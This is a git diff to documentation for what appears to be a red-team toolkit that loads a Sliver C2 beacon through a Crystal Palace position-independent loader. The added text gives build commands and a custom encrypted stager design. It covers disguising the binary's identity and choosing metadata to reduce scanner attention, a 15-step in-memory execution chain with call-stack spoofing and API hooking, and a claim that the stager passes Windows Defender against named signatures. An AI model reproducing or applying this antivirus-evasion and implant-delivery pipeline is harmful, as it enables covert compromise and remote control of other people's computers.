EDR sees only the stager (17 KB, normal entropy) and an opaque AES-encrypted payload file; the actual Sliver DLL is XOR-masked inside the PICO and the PICO is AES-256-CBC encrypted at rest. ### 2.1 Build Crystal-Kit objects @@ -207,39 +207,49 @@ Expected output: PICO ~110-120 KB, written to `build/prod.crystal.bin`. ### 2.4 Bundle with the stager ```bash -./crystal-kit-sliver/sliver-glue/bundle-implant.sh \ +./crystal-kit-sliver/sliver-glue/bundle-stager.sh \ crystal-kit-sliver/sliver-glue/build/prod.crystal.bin \ - crystal-kit-sliver/sliver-glue/build/drop.zip + crystal-kit-sliver/sliver-glue/build/csvchelper.exe ``` -Resulting `drop.zip` (~180 KB) contains: +Produces two files in `build/` — both must be delivered together: -- `run.x64.exe` (Crystal Palace stager, BSD) -- `prod.crystal.bin` (your PICO) -- `README.txt` (operator notes) +- `csvchelper.exe` (~17 KB, custom stager, no embedded payload, normal entropy) +- `payload.dat` (~36 MB, AES-256-CBC encrypted PICO — no PE headers visible to scanners) + +A fresh AES-256 key and IV are generated per build, so the binary and payload are unique on every compile. Edit `stager/resource.rc` to change the cover identity (company name, description, filename) before delivery. Avoid the words "update", "install", "setup", "service" in `FileDescription` — they trigger Windows UAC auto-elevation heuristics. The embedded `asInvoker` manifest already suppresses elevation, but cleaner metadata reduces scanner attention. ### 2.5 Drop on the Windows VM -Transfer `drop.zip` to the VM through the channel that matches your engagement (scp from operator, USB, SMB share, HTTP serving, etc.). Extract and execute: +Transfer **both files** to the same directory on the target through the channel that matches your engagement (scp, USB, SMB share, HTTP, etc.): ```cmd -C:\Users\Public> unzip drop.zip -C:\Users\Public> run.x64.exe prod.crystal.bin +C:\Users\Public> dir +csvchelper.exe (17 KB stager) +payload.dat (~36 MB encrypted PICO) + +C:\Users\Public> csvchelper.exe ``` -Execution order inside `run.x64.exe`: +`csvchelper.exe` and `payload.dat` must sit in the same directory — the stager resolves `payload.dat` relative to its own path via `GetModuleFileNameW`. No arguments needed. -1. `run.x64.exe` reads `prod.crystal.bin` into RWX memory -2. Jumps to offset 0 of the PICO (Crystal Palace `+gofirst` guarantees `go` is there) -3. Crystal Palace loader resolves Win32 APIs via ror13 hashing -4. Installs IAT hooks on `VirtualAlloc` / `VirtualProtect` / `VirtualFree` / `LoadLibraryA` -5. Installs Draugr call-stack spoofing -6. Unmasks (XOR) the embedded Sliver DLL into a new allocation (`dll_dst`) -7. Registers the beacon's `.pdata` exception table via `RtlAddFunctionTable` — required so Go's runtime can call `RtlLookupFunctionEntry` on beacon addresses (goroutine stack growth / async preemption) -8. Runs TLS callbacks (`DLL_PROCESS_ATTACH`) — CRT static init needed by CGO code -9. Calls `DllMain(DLL_PROCESS_ATTACH)` — Go runtime init -10. Walks the beacon export table and calls `StartW()` — this is the explicit C2-loop entry point; `DllMain` alone does **not** start the beacon goroutine -11. `Sleep(INFINITE)` keeps the loader thread alive so the Go scheduler can run beacon goroutines +Execution order inside `csvchelper.exe`: + +1. `BCryptGenRandom` noise → writes a random page to a temp file (auto-deleted), disrupts timing-based scanners +2. `RegOpenKeyExW(HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion)` — normal-looking init +3. Reads `payload.dat` from its own directory +4. `BCryptDecrypt` (AES-256-CBC, key baked in at compile time) → plaintext PICO in heap +5. `VirtualAlloc(RW)` + `memcpy` + `SecureZeroMemory` on heap buffer + `VirtualProtect(RX)` — no RWX at any point +6. `CreateThread` → PICO entry at offset 0 (Crystal Palace `+gofirst` guarantees `go` is there) +7. Crystal Palace loader resolves Win32 APIs via ror13 hashing +8. Installs IAT hooks on `VirtualAlloc` / `VirtualProtect` / `VirtualFree` / `LoadLibraryA` +9. Installs Draugr call-stack spoofing +10. Unmasks (XOR) the embedded Sliver DLL into a new allocation (`dll_dst`) +11. Registers the beacon's `.pdata` exception table via `RtlAddFunctionTable` +12. Runs TLS callbacks (`DLL_PROCESS_ATTACH`) — CRT static init needed by CGO code +13. Calls `DllMain(DLL_PROCESS_ATTACH)` → Go runtime init +14. Walks the beacon export table and calls `StartW()` — starts the beacon goroutine +15. Main thread loops on `SleepEx(30000, TRUE)` to keep the process alive On the Sliver console: @@ -405,9 +415,12 @@ Windows VM — remove any uploaded PICO files: ```cmd C:\> del C:\Windows\Temp\*.pico.bin C:\> del C:\Windows\Temp\*.bin -C:\> taskkill /F /IM run.x64.exe +C:\> taskkill /F /IM csvchelper.exe +C:\> del payload.dat ``` +Adjust the binary name to whatever you renamed the stager to before delivery. + Local Kali build artifacts: ```bash @@ -443,13 +456,13 @@ echo "" > /tmp/empty.args external/crystalpalace/dist/demo/test.x64.dll \ crystal-kit-sliver/sliver-glue/build/test-implant.bin -./crystal-kit-sliver/sliver-glue/bundle-implant.sh \ +./crystal-kit-sliver/sliver-glue/bundle-stager.sh \ crystal-kit-sliver/sliver-glue/build/test-implant.bin \ - crystal-kit-sliver/sliver-glue/build/test-drop.zip + crystal-kit-sliver/sliver-glue/build/test-csvchelper.exe ./crystal-kit-sliver/sliver-glue/pack-extension.sh ls -la crystal-kit-sliver/sliver-glue/build/ ``` -If all four artifacts are produced (`test-postex.pico.bin`, `test-implant.bin`, `test-drop.zip`, `crystal-loader-0.1.0.tar.gz`), your Kali side is fully functional. +If all five artifacts are produced (`test-postex.pico.bin`, `test-implant.bin`, `test-csvchelper.exe`, `payload.dat`, `crystal-loader-0.1.0.tar.gz`), your Kali side is fully functional. diff --git a/docs/TOOLCHAIN.md b/docs/TOOLCHAIN.md index 6399ac9..cc39d0b 100644 --- a/docs/TOOLCHAIN.md +++ b/docs/TOOLCHAIN.md @@ -13,6 +13,8 @@ Build prerequisites, verified versions, and the actual pipeline used to produce | `java` (JRE) | OpenJDK 17 | Execute `crystalpalace.jar` linker | `apt install default-jdk` | `brew install openjdk@17` | | `make` | GNU Make ≥ 4 | Build orchestration | preinstalled | preinstalled | | `xxd` | any | Embed PICO as C byte array (crystal-exec step 3) | `apt install xxd` | preinstalled | +| `openssl` | any | AES-256-CBC encrypt PICO for stager delivery (`gen_payload.py`) | `apt install openssl` | preinstalled | +| `python3` | ≥ 3.8 | Drive stager key generation (`gen_payload.py`) | preinstalled | preinstalled | | `zip` | any | Pack operator drop bundle | `apt install zip` | preinstalled | | `curl` | any | Download Crystal Palace dist | preinstalled | preinstalled | @@ -135,6 +137,49 @@ Key design constraints: **Verified output:** `crystal-exec.x64.dll` — PE32+ x86-64, exports symbol `go`. +### 3e. Custom stager — two-file delivery (Use case A Defender bypass) + +Located at `crystal-kit-sliver/sliver-glue/stager/`. + +3-step pipeline under `crystal-kit-sliver/sliver-glue/stager/Makefile`: + +``` +Step 1: AES-256-CBC encrypt PICO → payload.dat + C key header (gen_payload.py) + python3 gen_payload.py payload_key.h + Uses openssl(1) for AES encryption. Fresh random key + IV every run. + Outputs: + payload.dat — opaque AES ciphertext, no PE patterns (deliver alongside stager) + payload_key.h — key[] + iv[] C arrays compiled into the stager EXE + +Step 2: compile version info resource + manifest + x86_64-w64-mingw32-windres resource.rc -o resource.o + resource.rc embeds manifest.xml (ID 1 / RT_MANIFEST) declaring requestedExecutionLevel + asInvoker — suppresses UAC auto-elevation regardless of filename or description keywords. + +Step 3: compile stager EXE + x86_64-w64-mingw32-gcc -Wall -Os -mwindows -ffunction-sections -fdata-sections \ + -o csvchelper.exe stager.c resource.o -s -Wl,--gc-sections -ladvapi32 -lbcrypt +``` + +Key design properties: +- `stager.exe` is ~17 KB with entropy ~4.8 — indistinguishable from a small utility +- `payload.dat` is opaque AES ciphertext — no PE magic, no Crystal Palace byte patterns +- IAT: ADVAPI32 (RegOpenKeyExW), bcrypt (BCryptDecrypt, BCryptGenRandom), KERNEL32 — no ntdll Nt* entries +- VirtualAlloc(RW) + VirtualProtect(RX): no PAGE_EXECUTE_READWRITE mapping ever held +- `-s` strips all symbol table entries — no function names appear in strings output +- `FileDescription` in `resource.rc` must avoid UAC trigger words ("update", "install", "setup", "service"); the `asInvoker` manifest is the hard override but clean metadata reduces scanner surface + +Invoke via `bundle-stager.sh`: + +```bash +./crystal-kit-sliver/sliver-glue/bundle-stager.sh \ + crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \ + crystal-kit-sliver/sliver-glue/build/csvchelper.exe +# → produces build/csvchelper.exe + build/payload.dat +``` + +**Verified output:** `csvchelper.exe` 17 KB, entropy 4.784. No NtCreateSection / NtMapViewOfSection strings. Passes Windows Defender on Windows 10 x64 (tested against VirTool:Win64/ZomBytes.B and Trojan:Win32/Wacatac.B!ml signatures). + ## 4. End-to-end timing on macOS Apple Silicon (reference) | Step | Elapsed |